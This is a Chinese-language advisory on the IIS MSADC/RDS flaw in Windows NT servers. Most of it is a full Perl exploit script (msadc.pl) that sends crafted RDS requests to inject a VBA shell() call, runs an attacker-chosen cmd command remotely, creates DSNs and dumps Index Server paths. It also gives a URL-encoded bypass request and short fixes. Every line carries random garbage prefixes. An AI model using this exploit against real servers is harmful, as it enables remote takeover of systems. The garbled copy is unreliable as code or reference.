IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
E5aRTDLq IR2=dQS 涉及程序：
Ez8k.]q u Microsoft NT server
* +OS;R1< |`ya+/ff+ 描述：
?(Se$iTZ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
OZc4 -5 }y %c. 详细：
J> l?HK 如果你没有时间读详细内容的话，就删除:
apOXcZ c:\Program Files\Common Files\System\Msadc\msadcs.dll
xKR\w !+Z' 有关的安全问题就没有了。
*b '4>U C@`rg ILc 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
<Y] e " uli~ {IU 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
xi51,y+(5 关于利用ODBC远程漏洞的描述，请参看:
y'aK92pF: cX!C/`ew> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WNY:H H NnH]c+ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
NSa6\.W) http://www.microsoft.com/security/bulletins/MS99-025faq.asp zO`4W!x& @( bg# 这里不再论述。
C. BlB 2HUw^ *3 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
}?\^^v h7 7fI2b,~ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
7nm'v'\u+V 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
,,SV@y; Ptz## o'{5 mC0_rN^Aj #将下面这段保存为txt文件，然后: "perl -x 文件名"
- "NK"nb wn^#`s!]U #!perl
Oa2\\I
#
v,C~5J3h) # MSADC/RDS 'usage' (aka exploit) script
^@3,/dH1 t #
5(gWK{R)* # by rain.forest.puppy
I8 a3: ) #
lE gjv, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
h@E7wp1'~ # beta test and find errors!
c/Fgx/hr ;L,i">_%u[ use Socket; use Getopt::Std;
(3Q$) 0t getopts("e:vd:h:XR", \%args);
j 7U&a}(
1f vN[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
PB
*v45 []v$QR&u#v if (!defined $args{h} && !defined $args{R}) {
2e HVl.C5 print qq~
qu1+.z=| Usage: msadc.pl -h <host> { -d <delay> -X -v }
=z;]FauR! -h <host> = host you want to scan (ip or domain)
RL:B.Lv/W -d <seconds> = delay between calls, default 1 second
O6/:J#X% -X = dump Index Server path table, if available
;yajt\a -v = verbose
/oW]? 9 -e = external dictionary file for step 5
DK
eB%k ^2H; Or a -R will resume a command session
dB6['z)2 ,PmUl= ~; exit;}
Nc &J%a %3O))Ug5 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,{mv6?_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
m}u)C&2> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
X;H\u6-|>6 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
NXQ=8o9,9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
S)g:+P if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
a2Nxpxho >+Ig<}p if (!defined $args{R}){ $ret = &has_msadc;
m~
5"q%; die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RyP MzxV I?S t} Tl print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5D.Sg;\ . "cmd /c ";
j g//I<D $in=<STDIN>; chomp $in;
e
pp04~ $command="cmd /c " . $in ;
0
zK{)HZ . b+ix=: if (defined $args{R}) {&load; exit;}
H0#=oJr$)W 5VP 0Xa ~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
/2zan} &try_btcustmr;
/q+;!EM 8 eK 8-R$ print "\nStep 2: Trying to make our own DSN...";
O >pv/Ns &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
t"Ci1"U a/\{NHs6"5 print "\nStep 3: Trying known DSNs...";
}^iqhUvT F &known_dsn;
*2u ~5 Kc< BGBHA"5fz print "\nStep 4: Trying known .mdbs...";
mM72>1~L* &known_mdb;
P Wyf 3 |dqHpogh if (defined $args{e}){
y/y~<-|<@ print "\nStep 5: Trying dictionary of DSN names...";
D/f 4 kkd &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
MW6z&+Z DrKB ;6 print "Sorry Charley...maybe next time?\n";
H)i|?3Ip exit;
# H
w(w iX 6>u4~( ##############################################################################
Vn4wk>b}$2 :u./"[G sub sendraw { # ripped and modded from whisker
7dcR@v`c sleep($delay); # it's a DoS on the server! At least on mine...
*s*Y uY%y my ($pstr)=@_;
')!X1A{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Oo@o$\+v die("Socket problems\n");
i4,p\rE0 if(connect(S,pack "SnA4x8",2,80,$target)){
chKK9SC+| select(S); $|=1;
/ n_s"[I4 print $pstr; my @in=<S>;
!}z'"l4i select(STDOUT); close(S);
Q8%_q"C return @in;
iW^J>aKy } else { die("Can't connect...\n"); }}
dgF%&*Il]O S@qR~_>a ##############################################################################
E I zy .dk<?BI#H sub make_header { # make the HTTP request
]vlBYAW' my $msadc=<<EOT
IO)# O< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
m9oOH5@K~ User-Agent: ACTIVEDATA
H:]cBk^[, Host: $ip
@ 2/|rq Content-Length: $clen
OIL8'xY.w Connection: Keep-Alive
NDP"
@ [p9v#\G; [ ADCClientVersion:01.06
dv>n38&mDQ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
bO2?DszT5 H #_Zv] --!ADM!ROX!YOUR!WORLD!
Z;Hkx1 Content-Type: application/x-varg
M/quswn1 Content-Length: $reqlen
,< x/ *u1q7JFQk EOT
&jHs FS ; $msadc=~s/\n/\r\n/g;
VFL^-tXnA^ return $msadc;}
"vSKj/] NC%hsg^0/ ##############################################################################
X} v*"`@Q 7Hr_ZwO/^ sub make_req { # make the RDS request
C)z4Cn9# my ($switch, $p1, $p2)=@_;
"0PrdZMx my $req=""; my $t1, $t2, $query, $dsn;
W~'xJ )"pvF8JR%3 if ($switch==1){ # this is the btcustmr.mdb query
R~4X?@ZB $query="Select * from Customers where City=" . make_shell();
Q !;syJBb. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1j$\ 48Z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
xKG7d8= );h(D!D, elsif ($switch==2){ # this is general make table query
3NgXM $query="create table AZZ (B int, C varchar(10))";
^PTf8o $dsn="$p1";}
3&+dyhL'w Z 5>~l elsif ($switch==3){ # this is general exploit table query
D#b*M)X" $query="select * from AZZ where C=" . make_shell();
8x U*j $dsn="$p1";}
-!Myw&*\V K d`(^ elsif ($switch==4){ # attempt to hork file info from index server
a)JXxst $query="select path from scope()";
g[O?wH-a $dsn="Provider=MSIDXS;";}
d
fj23+ N
$) G 8 elsif ($switch==5){ # bad query
W5
F\e[Ax5 $query="select";
"Gp[.=.z? $dsn="$p1";}
985F(r HE,L8 S $t1= make_unicode($query);
+-^>B%/&Z $t2= make_unicode($dsn);
m!/TJhiQ $req = "\x02\x00\x03\x00";
2bNOn%! $req.= "\x08\x00" . pack ("S1", length($t1));
Cf=H~&`Z $req.= "\x00\x00" . $t1 ;
[i` $req.= "\x08\x00" . pack ("S1", length($t2));
tp] 5[U $req.= "\x00\x00" . $t2 ;
V:kRr cX $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.J)TIc__|A return $req;}
T;/GHC`{Y |#@7$#j ##############################################################################
U = .PL\ G;l7,1;MU: sub make_shell { # this makes the shell() statement
v_!6S|
return "'|shell(\"$command\")|'";}
z%YNZ ^d B$_4 ul\) ##############################################################################
(' 5?- bQt:=> sub make_unicode { # quick little function to convert to unicode
R+M =)Z my ($in)=@_; my $out;
g#J aw|N for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
35& ^spb return $out;}
a{] =BY oL \X8b!41 ##############################################################################
*y*tI} a;HAuy`M x sub rdo_success { # checks for RDO return success (this is kludge)
< kK>C8+ my (@in) = @_; my $base=content_start(@in);
7AV{
h[J if($in[$base]=~/multipart\/mixed/){
5naFn m7% return 1 if( $in[$base+10]=~/^\x09\x00/ );}
N)X Tmh2v| return 0;}
'47
b"uV !g|O.mt ##############################################################################
b/'bhE= d05xn7%!{ sub make_dsn { # this makes a DSN for us
,Xn2xOP my @drives=("c","d","e","f");
n%&L&G print "\nMaking DSN: ";
Zhq_ pus"a foreach $drive (@drives) {
$D^\ [^S print "$drive: ";
IOl_J>D]F my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
X.fVbePxUU "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
iS$[d C ?N . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
c{=Sy;i@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
$o[-xNn1 return 0 if $2 eq "404"; # not found/doesn't exist
J/je/PC if($2 eq "200") {
}>xwiSF? foreach $line (@results) {
,X?/FAcb return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
rVz.Ws# } return 0;}
ED&nrd1 P C ? z S}ob ##############################################################################
kTb$lLG\xk UBaXS_c\ sub verify_exists {
ku]5sd >b my ($page)=@_;
cc[(w
#K my @results=sendraw("GET $page HTTP/1.0\n\n");
]Y\$U<YjO return $results[0];}
.@VZ3" !mNst$-H4 ##############################################################################
24jf`1 XFW ]01`r/ ->\ sub try_btcustmr {
0'Pj nk-i my @drives=("c","d","e","f");
VE )D4 RL my @dirs=("winnt","winnt35","winnt351","win","windows");
Unk /uk @{y'_fw foreach $dir (@dirs) {
op6]"ZV -C print "$dir -> "; # fun status so you can see progress
] ,]Rv# ` foreach $drive (@drives) {
^Oz~T|) print "$drive: "; # ditto
?xj 8a3F $reqlen=length( make_req(1,$drive,$dir) ) - 28;
>fBPVu\PA $reqlenlen=length( "$reqlen" );
OI blBQ! $clen= 206 + $reqlenlen + $reqlen;
Lw >B:3e PtfG~$ h? my @results=sendraw(make_header() . make_req(1,$drive,$dir));
$Rm~ VwY# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Fw<"]*iu else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
-b-a2 1,m> .zO^"mXjS ##############################################################################
n7!T{+ge WPNB!" E98 sub odbc_error {
$J7V]c*-b my (@in)=@_; my $base;
?2<)
Jw my $base = content_start(@in);
mf r aw2H if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"DW ~E\Y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
l9.`2d]o $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
k~tEUs v $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4Q|>k )H return $in[$base+4].$in[$base+5].$in[$base+6];}
<o(;~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
6FB 0g 8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
*rq*li; $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
c^r8<KlI9 ]v
${k ##############################################################################
A({czHLhN5 xs"i_se sub verbose {
h"`\'(,X my ($in)=@_;
Yk Ku4f return if !$verbose;
n8,%<!F^ print STDOUT "\n$in\n";}
P x_8lB/; gT)(RS`_) ##############################################################################
uN%Cc12 tia}&9; sub save {
Ic/hVKY G5 my ($p1, $p2, $p3, $p4)=@_;
v$}^$8` open(OUT, ">rds.save") || print "Problem saving parameters...\n";
I-# !mFl print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
u+)!C*ho close OUT;}
?@"@9na =Vg~ VD ##############################################################################
yq~ ?{J1 &;j* sub load {
b<u\THy# my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
eb_.@.a open(IN,"<rds.save") || die("Couldn't open rds.save\n");
.}dLqw @p=<IN>; close(IN);
7U [C=NL $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
JU8}TX $target= inet_aton($ip) || die("inet_aton problems");
Za@\ =}Tt print "Resuming to $ip ...";
f.g!~wGD $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Pp?P9s { if($p[1]==1) {
#}~tTL $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
9wL2NC31Q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
7ZUN;m r my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
0F$|`v"0 if (rdo_success(@results)){print "Success!\n";}
| R,dsBd else { print "failed\n"; verbose(odbc_error(@results));}}
PF4[;E S' elsif ($p[1]==3){
UynGG@P@ if(run_query("$p[3]")){
A ;U c&G print "Success!\n";} else { print "failed\n"; }}
Q YA4C1h' elsif ($p[1]==4){
QytO0K5
if(run_query($drvst . "$p[3]")){
?1\5X<|, print "Success!\n"; } else { print "failed\n"; }}
k5RzW4zq; exit;}
SzLlJUV X HYl+xH'.j ##############################################################################
%pZT3dc K Q
8 ]X sub create_table {
i;HXz`vT7 my ($in)=@_;
WyV4p $reqlen=length( make_req(2,$in,"") ) - 28;
11PL1zzH $reqlenlen=length( "$reqlen" );
Vz mlKVE $clen= 206 + $reqlenlen + $reqlen;
]y OM my @results=sendraw(make_header() . make_req(2,$in,""));
2^XmtT return 1 if rdo_success(@results);
u$w.'lK my $temp= odbc_error(@results); verbose($temp);
]D6<6OB return 1 if $temp=~/Table 'AZZ' already exists/;
kHK<~ srB return 0;}
$
DN. U`*we43 ##############################################################################
_kD5pC = lg|6~=aQ
sub known_dsn {
h#zm+( [B* # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
i}T* | P my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
5 zS%F: 3 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
e i2?H;H; "banner", "banners", "ads", "ADCDemo", "ADCTest");
2[w9#6ly ],c0nz^%BR foreach $dSn (@dsns) {
@;EQ{d print ".";
;8H&FsR next if (!is_access("DSN=$dSn"));
C?. ;3 h if(create_table("DSN=$dSn")){
=o@}~G&HA print "$dSn successful\n";
P~(&lu/;P if(run_query("DSN=$dSn")){
:$Cm]RZ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!KV!Tkx h print "Something's borked. Use verbose next time\n";}}} print "\n";}
" lD -*e4 zZ}. 2He8 ##############################################################################
Wi$?k {C QmBHD;Gf sub is_access {
t(}Y /' my ($in)=@_;
#|\|G3Si
% $reqlen=length( make_req(5,$in,"") ) - 28;
WGV]O | $reqlenlen=length( "$reqlen" );
{Lju7'5L $clen= 206 + $reqlenlen + $reqlen;
3\2&?VAjR my @results=sendraw(make_header() . make_req(5,$in,""));
>(:3H+ my $temp= odbc_error(@results);
z {R
Mb verbose($temp); return 1 if ($temp=~/Microsoft Access/);
ejg!1*H@n return 0;}
J#d, ? .UxkTads ##############################################################################
H 8HH) ^ T3b0"o27 sub run_query {
}5E H67 my ($in)=@_;
z7fX! '3V $reqlen=length( make_req(3,$in,"") ) - 28;
^3HSw ?a" $reqlenlen=length( "$reqlen" );
'(lsJY[-x $clen= 206 + $reqlenlen + $reqlen;
OBF M70K my @results=sendraw(make_header() . make_req(3,$in,""));
H~[q<ybxr return 1 if rdo_success(@results);
~U<j_j)z4. my $temp= odbc_error(@results); verbose($temp);
#cR5k@ return 0;}
4 1R~.? " "`z3- ##############################################################################
qA}l[:F+# , wk}[MF sub known_mdb {
n(A;:) W{ my @drives=("c","d","e","f","g");
+46& Zb35 my @dirs=("winnt","winnt35","winnt351","win","windows");
i% 0 qN my $dir, $drive, $mdb;
b?k,_; \ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ca
&zYXy ^cd bM # this is sparse, because I don't know of many
YloE4PAY7 my @sysmdbs=( "\\catroot\\icatalog.mdb",
E=.J*7 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+) 9=bB "\\system32\\certmdb.mdb",
CS%ut-K<5M "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
ZrYRL g /p-k'387 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
@V4nc
'o. "\\cfusion\\cfapps\\forums\\forums_.mdb",
JA > &$h "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ILG&l<!E "\\cfusion\\cfapps\\security\\realm_.mdb",
B Dp(&=ktq "\\cfusion\\cfapps\\security\\data\\realm.mdb",
axG%@ 5 "\\cfusion\\database\\cfexamples.mdb",
NrcV%-+u% "\\cfusion\\database\\cfsnippets.mdb",
lyowH{.N"3 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$1X !Ecq_ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
m[ S 1 "\\cfusion\\brighttiger\\database\\cleam.mdb",
EhW@iYL "\\cfusion\\database\\smpolicy.mdb",
}lk9|U#6*` "\\cfusion\\database\cypress.mdb",
pJ? y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
V\Lh(zPt "\\website\\cgi-win\\dbsample.mdb",
7WV"Wr l] "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
%i&am= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
y] Q/(O ); #these are just
D$hK foreach $drive (@drives) {
0Dd8c \J foreach $dir (@dirs){
@ $b7
eu foreach $mdb (@sysmdbs) {
b#(QZ print ".";
<{V{2V# if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
H1 ev W print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
_Wp,
z` if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Nj;(QhYZ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
m=` V } else { print "Something's borked. Use verbose next time\n"; }}}}}
PtjAu r*7J#M / foreach $drive (@drives) {
p,4S?c r>a foreach $mdb (@mdbs) {
CyS.GdyP print ".";
AfW:'>2 if(create_table($drv . $drive . $dir . $mdb)){
'mU\X!-
4< print "\n" . $drive . $dir . $mdb . " successful\n";
%)}_OXWf: if(run_query($drv . $drive . $dir . $mdb)){
ZA4sEVHW print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
^]LWcJ?"^! } else { print "Something's borked. Use verbose next time\n"; }}}}
CIR2sr0a }
h#h )=; ud (w0eX ##############################################################################
Ob'[W;p)[w [c>YKN2qa sub hork_idx {
?.I1"C,#VJ print "\nAttempting to dump Index Server tables...\n";
Y
Odw d}M print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-z/>W+k $reqlen=length( make_req(4,"","") ) - 28;
xG%O ^ $reqlenlen=length( "$reqlen" );
&I(3/u $clen= 206 + $reqlenlen + $reqlen;
$a')i<m^g my @results=sendraw2(make_header() . make_req(4,"",""));
y X\~ {% if (rdo_success(@results)){
N8wA">u my $max=@results; my $c; my %d;
!&8B8jHqA for($c=19; $c<$max; $c++){
!;PKx]/& $results[$c]=~s/\x00//g;
K ` R $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
R*"zLJP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
&'5 j! $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
5X`m.lhUc $d{"$1$2"}="";}
cT JG 1'm foreach $c (keys %d){ print "$c\n"; }
(
Q k*B } else {print "Index server doesn't seem to be installed.\n"; }}
c}7Rt|`c ]T<RC\o ##############################################################################
:as2fO$? g dBH\K (\ sub dsn_dict {
a
' <B0 ' open(IN, "<$args{e}") || die("Can't open external dictionary\n");
] [ Cg8 while(<IN>){
9(9\kQj{C $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
7baQ4QY?n next if (!is_access("DSN=$dSn"));
y#{> tC if(create_table("DSN=$dSn")){
LZpqv~av print "$dSn successful\n";
u_)'} if(run_query("DSN=$dSn")){
k8sjW! 2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2K(zYv54 print "Something's borked. Use verbose next time\n";}}}
p\|*ff0 print "\n"; close(IN);}
LwCf}4u" b;e*`f8T3c ##############################################################################
al Q:'K (d5kD#.N sub sendraw2 { # ripped and modded from whisker
7OZjLD{ID sleep($delay); # it's a DoS on the server! At least on mine...
\H?r[]*c% my ($pstr)=@_;
"Kn%|\YL@4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[1`&\C_E die("Socket problems\n");
4q^'MZm1 if(connect(S,pack "SnA4x8",2,80,$target)){
DmpD`^?-L print "Connected. Getting data";
yFqB2(Dv open(OUT,">raw.out"); my @in;
mvW,nM1Y select(S); $|=1; print $pstr;
,
rc
%#eF while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
"M :0l Uy close(OUT); select(STDOUT); close(S); return @in;
%,5_]bGvb
} else { die("Can't connect...\n"); }}
xCiq;FFR [lAZ)6E~= ##############################################################################
4}HY= 0Um > uDE<MUC sub content_start { # this will take in the server headers
Bt-2S,c,o my (@in)=@_; my $c;
TzY[- YlvF for ($c=1;$c<500;$c++) {
m:{IVvN_ if($in[$c] =~/^\x0d\x0a/){
h-:te9p6>4 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
5F|oNI}$: else { return $c+1; }}}
6M_,4>
- return -1;} # it should never get here actually
k |
,F/: #ANbhHG ##############################################################################
~W j.
4b* sq' bo8r sub funky {
w97% 5[-T my (@in)=@_; my $error=odbc_error(@in);
2~*.X^dR if($error=~/ADO could not find the specified provider/){
S_56! print "\nServer returned an ADO miscofiguration message\nAborting.\n";
_0e;&2') exit;}
lK3Z}e*eXQ if($error=~/A Handler is required/){
(E?X@d iu print "\nServer has custom handler filters (they most likely are patched)\n";
L,wEUI exit;}
^NiS7 )F X if($error=~/specified Handler has denied Access/){
niJtgK:H^ print "\nServer has custom handler filters (they most likely are patched)\n";
iyf vcKO exit;}}
3 N 5b3 F qUtlh,4) ##############################################################################
7^Q4?(A c'~6 1HA< sub has_msadc {
UB1/0o my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
La'XJ|>V my $base=content_start(@results);
2i_k$- return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
u IGeSd5B return 0;}
%oE3q>S$en rOd~sa-H ########################
+>S\.h
s4 wLz@u$u? &C=[D _h 解决方案：
^8e u+E.{ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
hUGP3ExC* 2、移除web 目录: /msadc
